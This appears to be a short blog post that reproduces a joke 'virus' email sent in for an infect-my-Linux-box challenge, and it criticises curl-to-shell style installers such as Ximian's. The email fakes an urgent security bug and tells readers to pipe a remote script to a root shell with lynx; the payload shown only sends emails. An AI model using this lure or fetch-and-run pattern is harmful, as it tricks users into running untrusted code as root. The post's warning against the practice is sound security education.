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The third entry in my challenge to infect
my Linux desktop machine came from Marcus Rosell. Here's his entry:
From: Marcus Rosell
Subject: READ THIS!!!!
A very serious security bug has been found, that effects all linux
distributions. In accordence with the DMCA, we can't tell you any
A script is avaible to solve the problems for all computers.
As root, type:
lynx -source server.majoclan.net/bugfix | sh
This requries lynx to work. Install it first if it's not yet installed.
** Send this to as many friends as possible. It is important. **
If you run the lynx command, here's what gets fed to your shell:
echo "Hi" | mail -s "I GET THE PRIZE" firstname.lastname@example.org
echo "Hi" | mail -s "I GET THE PRIZE" email@example.com
This virus is very interesting, because the command to execute it
is very short (a single line), and the actual viral material comes
from a central server. This lets the virus author track the progress
of his virus across the internet! How cunning!
On a somewhat more serious note, the folks at Ximian recommend the
procedure for installing the Ximian desktop:
Password: [Enter your root password here]
# lynx -source http://go-gnome.com/ | sh
This is, in my opinion, a pretty irresponsible thing to do. Let's just
hope that go-gnome.com never gets hacked. It's much safer to download RPM's
and verify them with GPG first, assuming you can trust the author to maintain
the integrity of his or her GPG private key.
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David F. Skoll